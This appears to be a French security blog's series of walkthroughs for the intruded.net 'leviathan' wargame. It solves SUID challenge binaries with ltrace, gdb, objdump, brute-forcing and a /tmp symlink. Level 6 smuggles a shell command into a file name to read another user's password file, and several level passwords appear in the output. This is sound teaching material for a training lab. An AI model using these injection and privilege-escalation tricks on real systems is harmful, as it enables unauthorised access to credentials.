Nyx0uf's blog » Sécurité

intruded.net : leviathan – level #7

Nyx0uf — Tue, 07 Jul 2009 17:57:11 +0000

level7, avant dernier niveau…
Il est moins dur que le précédent, il est même possible de le résoudre de 2 façons différentes, une barbare et une jolie.
Une fois connecté on fonce dans /wargame, là le binaire sphinx est notre cible.
Après exécution de celui-ci, on voit qu’il nous demande un nombre à 4 chiffres.

1 2	level7@leviathan:/wargame$ ./sphinx usage: ./sphinx [4 digit code]

Je vais montrer les 2 méthodes mais pas trop m’attarder sur la barbare vu que c’est un bête brute-forcing.

Méthode 1 : bruteforçons
Y a qu’à coder un truc bourrin qui boucle de 1000 à 9999 en testant chaque nombre. Vous pouvez coder en C, perl, script bash.. osef !
Exemple :

1	level7@leviathan:/wargame$ for x in $(seq 1000 9999); do /wargame/sphinx $x; done;

Voilà, quand le nombre va être trouvé vous allez avoir un shell SUID level8, y en a pour moins d’une minute.

Méthode 2 : Désassemblons

Bon bha pas de secret, on prend objdump pour désassembler le binaire :

0x080484b9 +85>:	call   0x8048394 
0x080484be +90>:	cmp    0xfffffff8(%ebp),%eax
0x080484c1 +93>:	jne    0x80484dd +121>
0x080484c3 +95>:	movl   $0x3ef,(%esp)
0x080484ca +102>:	call   0x8048334 
0x080484cf +107>:	movl   $0x8048622,(%esp)
0x080484d6 +114>:	call   0x8048344

La comparaison se fait entre eax et 0xfffffff8(%ebp), on prend donc gdb pour mettre un breakpoint sur le cmp (0x080484be) :

(gdb) b * 0x080484be
Breakpoint 1 at 0x80484be
(gdb) r 9999
Starting program: /wargame/sphinx 9999
 
Breakpoint 1, 0x080484be in main ()
(gdb) p $eax
$1 = 9999
(gdb) x/d ($ebp - 8)
0xbffffa30:	7123

On relance le binaire avec le bon nombre et on a un shell SUID level8, reste plus qu’à aller chercher le password

Bon ceci était en fait le dernier level, vu que le 8 contient juste un mot de félicitations.
Je verrais si je continue sur le challenge 2 nommé narnia, qui est orienté exploitation de base, surtout des stacks overflow, pour le moment j’ai juste fait le level1, donc à suivre..

intruded.net : leviathan – level #6

Nyx0uf — Mon, 06 Jul 2009 17:29:37 +0000

Bon level6, c’est le level qui m’a le plus bloqué sur leviathan.
La technique utilisée pour faire le niveau s’appelle race condition.

Rien dans le home level6, on file donc dans /wargame. Là le binaire printfile est SUID level7, c’est donc celui qui nous intéresse.

On essaye donc de l’exécuter, il lui faut un fichier en argument, on re-test avec /home/level7/.passwd vu que c’est le fichier qui nous intéresse :

1 2	level6@leviathan:/wargame$ ./printfile /home/level7/.passwd You cant have that file...

owned.

Un autre essai avec /home/level6/.passwd :

1 2	level6@leviathan:/wargame$ ./printfile /home/level6/.passwd /bin/cat: /home/level6/.passwd: Permission denied

owned, mais pas de la même façon, intéressant.
Analysons les 2 messages :

Le premier message d’erreur est renvoyé par le binaire lui même (printfile) alors que le second est renvoyé par /bin/cat, une fois qu’on a remarqué ça on peut déduire que le binaire suit ce schéma :
- access
- setuid
- cat fichier

On confirme cette analyse avec objdump et ltrace :

level6@leviathan:/wargame$ ltrace ./printfile /home/level6/.passwd
__libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520 <unfinished ...>
access("/home/level6/.passwd", 0)                                     = 0
snprintf("/bin/cat /home/level6/.passwd", 511, "/bin/cat %s", "/home/level6/.passwd") = 29
system("/bin/cat /home/level6/.passwd"6lyvLXCA
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                = 0
+++ exited (status 0) +++
level6@leviathan:/wargame$ ltrace ./printfile /home/level7/.passwd
__libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520 <unfinished ...>
access("/home/level7/.passwd", 0)                                     = -1
puts("You cant have that file..."You cant have that file...
)                                    = 27
+++ exited (status 1) +++

C’est ce que l’on appelle une race condition, on fait un accès sur un fichier valide et le cat sur le fichier qui nous intéresse.
Ce fichier est passé par argv[1], si vous ne savez pas ce qu’est argv[1] il est grand temps de se mettre au C.
On peut donc simplement injecter une commande shell en argument, par exemple : « fichier | commande », il faut juste préalablement créer un fichier du même nom dans /tmp (qui est le seul répertoire auquel on a accès avec des droits d’écriture.) car access vérifie l’existence du fichier
L’argument que l’on va passer au programme sera donc : « fichier | cat /home/level7/.passwd » :

1 2	level6@leviathan:/wargame$ mkdir -p "/tmp/\|cat /home/level7" level6@leviathan:/wargame$ touch "/tmp/\|cat /home/level7/.passwd"

Voilà, on relance le binaire avec « /tmp/|cat /home/level7/.passwd » comme argument.

1
2
3

level6@leviathan:/wargame$ ./printfile "/tmp/|cat /home/level7/.passwd"
/bin/cat: /tmp/: Permission denied
X98ZdPfp

intruded.net : leviathan – level #5

Nyx0uf — Sun, 05 Jul 2009 15:47:54 +0000

Hop, on arrive au level5, mais cette fois dans le répertoire home il y a un répertoire caché nommé .Trash, on le liste et on voit un exécutable nommé bin.
Après exécution on voit une suite de nombre binaire qui s’affiche, on ltrace pour voir ce qui se passe, et que voit-on, ohhh le binaire lit le fichier /home/level6/.passwd

level5@leviathan:~/.Trash$ ltrace ./bin
__libc_start_main(0x80483e4, 1, 0xbffffac4, 0x8048530, 0x80484e0 <unfinished ...>
fopen("/home/level6/.passwd", "r")               = 0
+++ exited (status 255) +++

On décode la suite de nombre binaire et on a le password, voilà…

next?lol

intruded.net : leviathan – level #4

Nyx0uf — Sun, 05 Jul 2009 15:42:02 +0000

Ouaih, on est au level4, c’est la moitié du challenge, super :>
Bon en fait c’est exactement le même procédé que le level2… rien de plus, ce qui nous laisse au moins 3 méthodes pour le résoudre.
Comme au level2 j’ai utilisé ltrace, je vais prendre gdb sur celui-ci.

 80484cc:	e8 cb fe ff ff       	call   804839c 
80484d1:	8d 45 f5             	lea    0xfffffff5(%ebp),%eax
80484d4:	89 44 24 04          	mov    %eax,0x4(%esp)
80484d8:	8d 85 f5 fe ff ff    	lea    0xfffffef5(%ebp),%eax
80484de:	89 04 24             	mov    %eax,(%esp)
80484e1:	e8 76 fe ff ff       	call   804835c 
80484e6:	85 c0                	test   %eax,%eax
80484e8:	75 26                	jne    8048510 +0x8c>
80484ea:	c7 04 24 08 87 04 08 	movl   $0x8048708,(%esp)
80484f1:	e8 96 fe ff ff       	call   804838c 
80484f6:	c7 04 24 ec 03 00 00 	movl   $0x3ec,(%esp)
80484fd:	e8 6a fe ff ff       	call   804836c 
8048502:	c7 04 24 1c 87 04 08 	movl   $0x804871c,(%esp)
8048509:	e8 6e fe ff ff       	call   804837c 
804850e:	eb 0c                	jmp    804851c +0x98>
8048510:	c7 04 24 24 87 04 08 	movl   $0x8048724,(%esp)
8048517:	e8 70 fe ff ff       	call   804838c

(gdb) b * 0x080484e1
Breakpoint 1 at 0x80484e1
(gdb) r
Starting program: /wargame/level4 
Enter the password> lolilol  
 
Breakpoint 1, 0x080484e1 in do_stuff ()
(gdb) x/2x $esp
0xbffff8c0:	0xbffff8dd	0xbffff9dd
(gdb) x/s 0xbffff8dd
0xbffff8dd:	 "lolilol\n"
(gdb) x/s 0xbffff9dd
0xbffff9dd:	 "snlprintf\n"
(gdb)

Voilà, on a le password du binaire (snlprintf), on ré-execute et on a un shell setuid level5, on va lire le fichier /home/level5/.passwd et c’est fini.

next?lol

intruded.net : leviathan – level #3

Nyx0uf — Sat, 04 Jul 2009 10:35:39 +0000

Hop, dès qu’on est connecté level3 on file dans le répertoire /wargame, vu qu’il n’y a rien dans le dossier home.
Une fois dans ce répertoire, et après l’avoir listé, on voit que le binaire prog est SUID level3 et level4, c’est donc notre cible.

1 2	level3@leviathan:/wargame$ ./prog Cannot find /tmp/file.log

Apparament le binaire essaie d’ouvrir le fichier file.log dans le répertoire /tmp.
Pour confirmer on peut désassember le binaire, mais ce n’est vraiment pas nécessaire.

8048564:	e8 07 ff ff ff       	call   8048470 
8048569:	89 45 f4             	mov    %eax,0xfffffff4(%ebp)
804856c:	83 7d f4 00          	cmpl   $0x0,0xfffffff4(%ebp)
8048570:	75 18                	jne    804858a +0x46>
8048572:	c7 04 24 08 87 04 08 	movl   $0x8048708,(%esp)
8048579:	e8 a2 fe ff ff       	call   8048420 
804857e:	c7 04 24 ff ff ff ff 	movl   $0xffffffff,(%esp)
8048585:	e8 d6 fe ff ff       	call   8048460 <exit@plt>
804858a:	8b 45 f4             	mov    0xfffffff4(%ebp),%eax
804858d:	89 04 24             	mov    %eax,(%esp)
8048590:	e8 4b fe ff ff       	call   80483e0 
8048595:	88 45 fb             	mov    %al,0xfffffffb(%ebp)
8048598:	8b 45 f4             	mov    0xfffffff4(%ebp),%eax
804859b:	89 04 24             	mov    %eax,(%esp)
804859e:	e8 4d fe ff ff       	call   80483f0 
80485a3:	85 c0                	test   %eax,%eax
80485a5:	75 0e                	jne    80485b5 +0x71>
80485a7:	0f be 45 fb          	movsbl 0xfffffffb(%ebp),%eax
80485ab:	89 04 24             	mov    %eax,(%esp)
80485ae:	e8 5d fe ff ff       	call   8048410 
80485b3:	eb d5                	jmp    804858a +0x46>
80485b5:	8b 45 f4             	mov    0xfffffff4(%ebp),%eax
80485b8:	89 04 24             	mov    %eax,(%esp)
80485bb:	e8 90 fe ff ff       	call   8048450 
80485c0:	e8 7b fe ff ff       	call   8048440 
80485c5:	89 04 24             	mov    %eax,(%esp)
80485c8:	e8 b3 fe ff ff       	call   8048480 
80485cd:	c7 04 24 fa 86 04 08 	movl   $0x80486fa,(%esp)
80485d4:	e8 27 fe ff ff       	call   8048400

Pour résumer, on lit un caractère (fgetc()) et on l’affiche (putchar()) tant qu’on est pas à la fin du fichier.

étant donné que le binaire est SUID level4 il nous permet de lire des fichiers SUID level4, et comme le fichier /home/level4/.passwd appartient à level4, il nous reste qu’à faire un lien dessus et le tour est joué

1	ln -s /home/level4/.passwd /tmp/file.log

Voilà, on ré-execute le binaire et on a le password

next?lol

intruded.net : leviathan – level #2

Nyx0uf — Thu, 02 Jul 2009 17:22:32 +0000

Bon on se connecte sur le serveur avec l’user level2 est le password récupéré précédemment, comme pour le level précédent, on fait un petit ls histoire de voir si il y a quelque chose d’utile.
Manque de bol, cette fois il n’y a rien, donc cd /wargame.

On va commencer par liste le dossier :

level2@leviathan:/wargame$ ls -al
total 48
drwxr-xr-x  2 root   root   4096 2008-03-26 02:41 .
drwxr-xr-x 22 root   root   4096 2008-03-26 02:54 ..
-r-sr-s---  1 level3 level2 7738 2008-03-26 02:31 check
-r-sr-s---  1 level5 level4 8090 2008-03-26 02:33 level4
-r-sr-s---  1 level7 level6 7696 2008-03-26 02:34 printfile
-r-sr-s---  1 level4 level3 8051 2008-03-26 02:51 prog
-r-sr-s---  1 level8 level7 7661 2008-03-26 02:35 sphinx

Là on voit que le binaire check est SUID level2 et level3, c’est donc celui qui nous intéresse, exécutons le :

level2@leviathan:/wargame$ ./check
password: stoilepass
Wrong password, Good Bye ...
level2@leviathan:/wargame$

Fallait s’y attendre, on se fait méchament chasser
On va donc se servir de objdump pour désassembler le binaire, si vous ne connaissez pas la commande, lisez le man.

1	objdump -d ./check

80484bb:	e8 d8 fe ff ff       	call   8048398 
80484c0:	e8 73 fe ff ff       	call   8048338 
80484c5:	88 45 f7             	mov    %al,0xfffffff7(%ebp)
80484c8:	e8 6b fe ff ff       	call   8048338 
80484cd:	88 45 f8             	mov    %al,0xfffffff8(%ebp)
80484d0:	e8 63 fe ff ff       	call   8048338 
80484d5:	88 45 f9             	mov    %al,0xfffffff9(%ebp)
80484d8:	c6 45 fa 00          	movb   $0x0,0xfffffffa(%ebp)
80484dc:	8d 45 f3             	lea    0xfffffff3(%ebp),%eax
80484df:	89 44 24 04          	mov    %eax,0x4(%esp)
80484e3:	8d 45 f7             	lea    0xfffffff7(%ebp),%eax
80484e6:	89 04 24             	mov    %eax,(%esp)
80484e9:	e8 5a fe ff ff       	call   8048348 
80484ee:	85 c0                	test   %eax,%eax
80484f0:	75 1a                	jne    804850c +0xa8>
80484f2:	c7 04 24 ea 03 00 00 	movl   $0x3ea,(%esp)
80484f9:	e8 5a fe ff ff       	call   8048358 
80484fe:	c7 04 24 43 86 04 08 	movl   $0x8048643,(%esp)
8048505:	e8 5e fe ff ff       	call   8048368 
804850a:	eb 0c                	jmp    8048518 +0xb4>
804850c:	c7 04 24 4b 86 04 08 	movl   $0x804864b,(%esp)
8048513:	e8 60 fe ff ff       	call   8048378 
8048518:	83 c4 34             	add    $0x34,%esp

Je n’ai pas affiché la sortie complète, juste ce qui nous intéresse.
On s’aperçoit qu’il y a un appel à strcmp(), et qu’en fonction du retour de la fonction, soit le programme affiche du texte (puts()) et se termine, soit on est setuid et le binaire effectue un appel à system().

Partant de là il y a plusieurs méthodes pour trouver le password, j’ai choisi d’utiliser la commande ltrace.

level2@leviathan:/wargame$ ltrace ./check
__libc_start_main(0x8048464, 1, 0xbffffad4, 0x8048580, 0x8048530 <unfinished ...>
printf("password: ")                                       = 10
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: stoilepass
) = 115
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 116
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 111
strcmp("sto", "sex")                                       = 1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
)                       = 29
+++ exited (status 29) +++

Décortiquons :
Au prompt du password j’ai rentré ‘stoilepass’, et on voit que le strcmp se fait entre la chaîne ‘sto’ (les 3 getchar()) et la chaîne ‘sex’, on en déduit que le pass est ‘sex’.

On ré-execute le binaire en rentrant le bon password, et hop on a un shell SUID level3, du coup il ne reste plus qu’à :

1	cat /home/level3/.passwd

Voilà, nous avons le password pour le level3.

Parmis les autres méthodes, on aurait pu utiliser :

strings mais en spécifiant l’option ‘-n 3′ pour afficher les strings de 3 caractères minimum.
gdb en placant un breakpoint à l’adresse 0x080484e9 (strcmp) et dépiler les 2 arguments.

next?lol

intruded.net : leviathan – level #1

Nyx0uf — Wed, 01 Jul 2009 17:09:11 +0000

Voici comme promis le premier article pour les challenges intruded.

On va donc voir comment résoudre le premier niveau, je rappelle que le but est de trouver le password level2.

Ce premier niveau est vraiment très simple pour peu que vous connaissiez 2 commandes UNIX de base, c’est pour cela que je vous incite à chercher par vous même

Pour commencer le challenge on se connecte au serveur en SSH avec les informations
données sur la page du challenge.

[Nyxouf@nyx0ufs-macbook ~]$ ssh level1@leviathan.intruded.net -p 10101
level1@leviathan.intruded.net\'s password: leviathan
Linux leviathan 2.6.18-6-686 #1 SMP Fri Jun 6 22:22:11 UTC 2008 i686
level1@leviathan:~$

Nous voilà connectés sur le serveur dans le répertoire : /home/level1

Le premier réflex est de lister ce qui se trouve dans le répertoire afin de voir si il n’y aurait pas quelque chose d’intéressant.

level1@leviathan:~$ ls -al
total 28
drwx------  3 level1 level1 4096 2008-03-26 02:12 .
drwxr-xr-x 10 root   root   4096 2008-03-26 01:55 ..
drwxr-xr-x  2 root   level1 4096 2008-03-26 02:22 .backup
-rw-r--r--  1 root   root      0 2008-03-26 02:08 .bash_history
-rw-r--r--  1 root   root    220 2008-03-25 22:24 .bash_logout
-rw-r--r--  1 root   root    414 2008-03-25 22:24 .bash_profile
-rw-r--r--  1 root   root   2227 2008-03-25 22:24 .bashrc
-rw-r--r--  1 root   root     10 2008-03-26 01:53 .passwd

On remarque de suite le répertoire caché nommé .backup, tout naturellement on va regarder ce qui se trouve dedans

level1@leviathan:~$ ls -al .backup/
total 144
drwxr-xr-x 2 root   level1   4096 2008-03-26 02:22 .
drwx------ 3 level1 level1   4096 2008-03-26 02:12 ..
-rw-r--r-- 1 root   level1 133193 2008-03-26 02:22 bookmarks.html

Tiens bookmarks.html, c’est quoi ce truc ? on ouvre, on verra bien..

Comme on pouvait le présumer le fichier contient une quantité de liens, et on se dit que pour trouver ce qui nous intéresse dans ce bordel il faudrait autre chose que lire le fichier ligne par ligne C’est là que la commande grep arrive.. Ceux qui ne connaissant pas cette commande RTFM !

Comme ont sait qu’on cherche un password pour le level2 on peut :

1	level1@leviathan:~$ grep level2 .backup/bookmarks.html

ou bien

1	level1@leviathan:~$ grep pass .backup/bookmarks.html

Finalement grep nous renvoie :

password to level2

Je pense que c’est suffisament explicite Je vous laisse aller récupérer le password à l’url indiquée.

next?lol

Challenges sécu info

Nyx0uf — Wed, 01 Jul 2009 14:19:59 +0000

Grâce à ivanlef0u j’ai trouvé un truc pour m’occuper provisoirement, les challenges de intruded.

kesako ? Le but de ces challenges est d’exploiter des failles applicatives sur un serveur de type Linux en se connectant en SSH. On commence par le premier niveau d’un challenge et le but et d’arriver à lancer un shell de SUID n+1 afin de lire le fichier qui contient le pass du level suivant.

Bon étant loin d’être aussi caler que ivanlef0u en sécurité, je vais commencer par le premier challenge, à savoir Leviathan.

je posterai donc ici un article par niveau afin d’expliquer comment le résoudre.